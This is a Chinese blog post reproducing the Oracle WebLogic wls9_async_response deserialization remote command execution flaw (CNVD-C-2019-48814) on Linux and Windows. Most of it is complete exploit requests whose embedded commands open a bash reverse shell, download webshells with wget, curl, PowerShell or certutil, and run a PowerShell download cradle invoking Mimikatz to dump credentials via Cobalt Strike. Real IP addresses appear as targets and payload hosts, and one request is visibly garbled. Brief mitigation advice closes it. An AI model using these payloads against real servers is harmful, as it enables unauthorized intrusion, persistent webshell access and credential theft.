CNVD-2019-48814 Weblogic wls9_async_response 反序列化RCE漏洞复现

我会带着你远行 2024-03-31 11:38 35阅读 0赞

#### **0x00 事件背景** ####

2019年4月17日，国家信息安全漏洞共享平台(CNVD)收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。攻击者利用该漏洞，可在未授权的情况下远程执行命令。目前，官方补丁尚未发布，漏洞细节未公开。CNVD对该漏洞的综合评级为“高危”

#### **0x01 漏洞情况分析** ####

WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。

部分版本WebLogic中默认包含的wls9\_async\_response包，为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP 请求，获得目标服务器的权限，在未授权的情况下远程执行命令。

CNVD对该漏洞的综合评级为“高危”。

0x02 漏洞描述

近日，互联网爆出WebLogicwls9-async反序列化远程命令执行漏洞。攻击者利用该漏洞，可在未授权的情况下远程执行命令。该漏洞危害程度为高危(High)。目前，官方补丁尚未发布，漏洞细节未公开。

#### **0x02 漏洞影响范围** ####

1.影响产品：

*  Oracle WebLogic Server10.3.6.0.0
 *  Oracle WebLogic Server12.1.3.0.0
 *  Oracle WebLogic Server12.2.1.1.0
 *  Oracle WebLogic Server12.2.1.2.0

2.影响组件：

*  bea\_wls9\_async\_response.war
 *  wsat.war

#### **0x03 漏洞复现** ####

一、liunx下的环境搭建

*  攻击机： Kali2019
 *  漏洞靶机：ubuntu16.04(docker vulhub) Weblogic10.3.6(wls1036\_generic.jar)

1.在Ubuntu 16.04上安装docker和docker-compose：

(1).安装PIP
    curl -s https://bootstrap.pypa.io/get-pip.py | python3
    (2).安装docker
    curl -s https://get.docker.com/ | sh

(3).启动docker服务

service docker start
    (4).安装docker compose
    pip install docker-compose

2.使用方法

(1).下载漏洞环境项目
    git clone https://github.com/vulhub/vulhub.git

(2).进入到nexus利用环境

cd   vulhub/weblogic/CVE-2017-10271
    (3).执行如下命令启动weblogic服务
    docker-compose up  -d

![115ec61e7d2e9597f0e05150a72fc01b.png][]

![Image 1][]

等待一段时间，访问`http://your-ip:7001/`即可看到一个404页面，说明weblogic已成功启动。

![13c5f8c0920f6b662094e1229d7aba6d.png][]

![Image 1][]

**3.检测方法**

用户可通过访问路径http://ip:port/\_async/AsyncResponseService来判断该组件是否开启。若返回如下页面，则此组件开启。请及时采取防护措施

打开URL([http://IP][http_IP]:端口/\_async/)，提示错误403且含有“From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:”可判断存在Oracle Oracle WebLogic wls9-async反序列化远程命令执行漏洞。

[http://149.248.54.82:7001/\_async/][http_149.248.54.82_7001_async]

![57ae574cd4cc8fa27e2bbd49bc8ca497.png][]

![Image 1][]

http://149.248.54.82:7001/\_async/AsyncResponseService

![42b4c4db4cc7e52236cd57aa067363fb.png][]

![Image 1][]

二、linux下.漏洞利用

1.反弹shell利用：

(1).攻击机主机的IP地址如下，并用nc监听反弹端口

![f7c1de1c799c2baa62c6164554df9397.png][]

![0297a8937038baec356c0c2ce46ba1be.png][]

![Image 1][]

(2).通过burpsuit向weblogic服务发送攻击包，如下图所示

POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 853
    Accept-Encoding: gzip, deflate
    SOAPAction: 
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i >& /dev/tcp/vpsip/vpsport 0>&1</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>

(3).可以看到成功反弹shell

![Image 1][]

2.上传webshell

(1).在kali攻击机上可搭建一个简单的web服务器，然后将webshll.txt放到其下

![Image 1][]

(2)使用以下poc进行发送攻击

poc1:

POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 789
    Accept-Encoding: gzip, deflate
    SOAPAction: 
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>

poc2:

POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 789
    Accept-Encoding: gzip, deflate
    SOAPAction: 
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>

![Image 1][]

(3).访问webshell

http://149.248.54.82:7001/\_async/test.jsp

![Image 1][]

三、winddows下的环境搭建  
1.weblogic 12.1.3.0.0安装  
下载地址：https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html  
开始安装：(需要java环境支持，记得配置JAVA环境变量)

任选下面其一的安装包，我这里选择的是12.1.3.0

![Image 1][]

2.打开cmd执行：  
C:\\Program Files\\Java\\jdk1.8.0\_152\\bin\\java -jar c:\\fmw\_ 12.1.3.0.0\_wls.jar

![Image 1][]

用 C:\\Program Files\\Java\\jdk1.8.0\_121\\bin\\ 目录下的 java.exe 来执行weblogic12c的jar包(默认使用顺序，似乎首先用的是C:\\Program Files\\Java\\jdk1.8.0\_121\\jre\\bin\\下的java.exe，所以会包jre不是有效的JDK)，所以在cmd里要输入 C:\\Program Files\\Java\\jdk1.8.0\_152\\bin\\java -jar c:\\fmw\_ 12.1.3.0.0 \_wls.jar(这里之所以要用Progra~1 来代替Program Files是因为有 空格 会识别错误)  
3.等待一会会弹出安装程序：

![Image 1][]

4.配置完成后，找到startWebLogic.cmd双击启动weblodgic

![19041909308ee6d90abf81cce6.png][Image 1]

5.访问http://127.0.0.1:7001/console验证

![Image 1][]

四、windows下的漏洞利用：

1.打开地址http://ip:port/\_async/AsyncResponseSevice查看是否存在漏洞

2.反弹shell， 可直接使用CobaltStrike生成一个payload.ps1 powershell脚本，将该脚本放到公网上，然后使用以下poc进行发送：

POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 861
    Accept-Encoding: gzip, deflate
    SOAPAction: 
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>cmd</string>
    </void>
    <void index="1">
    <string>/c</string>
    </void>
    <void index="2">
    <string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>

可以看到成功在cobalstrike上反弹出目标系统的shell

![Image 1][]

3.上传webshell

(1).放置一个webshell.txt到公网主机上(这里是kali主机)

2.使用以下poc进行发送请求：

poc1:

POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 854
    Accept-Encoding: gzip, deflate
    SOAPAction: 
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>cmd</string>
    </void>
    <void index="1">
    <string>/c</string>
    </void>
    <void index="2">
    <string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>

![Image 1][]

poc2:

POST /_async/AsyncResponseService HTTP/1.1

Host: 172.16.191.51:7001

Content-Length: 870

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

</void>

</void>

<string>certutil -urlcache -split -f http://149.248.17.172:81/jshell.txt   servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>

</void>

</array>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

![Image 1][]

(3).访问webshell

http://172.16.191.51:7001/bea\_wls\_internal/webshell.jsp

![Image 1][]

#### **0x04 漏洞修复建议** ####

目前，Oracle官方暂未发布补丁，临时解决方案如下：

1.删除该war包并重启webLogic；

2.通过访问策略控制禁止 /\_async/\* 路径的URL访问。

建议使用WebLogic Server构建网站的信息系统运营者进行自查，发现存在漏洞后，按照临时解决方案及时进行修复。

附录：

附录其他辅助工具：

[https://github.com/backlion/nse\_vuln/blob/master/weblogic/CNVD-C-2019-4814/weblogic-CNVD-C-2019-48814.nse][https_github.com_backlion_nse_vuln_blob_master_weblogic_CNVD-C-2019-4814_weblogic-CNVD-C-2019-48814.nse]

[https://github.com/backlion/WebLogic\_CNVD\_C2019\_48814][https_github.com_backlion_WebLogic_CNVD_C2019_48814]

<wiz\_tmp\_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

[115ec61e7d2e9597f0e05150a72fc01b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/6fc61260f22c4c6487433d42d754ff2d.png
[Image 1]: 
[13c5f8c0920f6b662094e1229d7aba6d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/a79e03e0fd334fbf9526f72338e5407e.png
[http_IP]: http://ip/
[http_149.248.54.82_7001_async]: http://149.248.54.82:7001/_async/
[57ae574cd4cc8fa27e2bbd49bc8ca497.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/04fde443c03d4a258510290c3e752058.png
[42b4c4db4cc7e52236cd57aa067363fb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/3e05994000c64596a1d633ab3a58df61.png
[f7c1de1c799c2baa62c6164554df9397.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/c26ee62fa3a34c9fa40752a46dda16e9.png
[0297a8937038baec356c0c2ce46ba1be.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/b06d57cc12f7492d91432f9f8dac4d67.png
[https_github.com_backlion_nse_vuln_blob_master_weblogic_CNVD-C-2019-4814_weblogic-CNVD-C-2019-48814.nse]: https://github.com/backlion/nse_vuln/blob/master/weblogic/CNVD-C-2019-4814/weblogic-CNVD-C-2019-48814.nse
[https_github.com_backlion_WebLogic_CNVD_C2019_48814]: https://github.com/backlion/WebLogic_CNVD_C2019_48814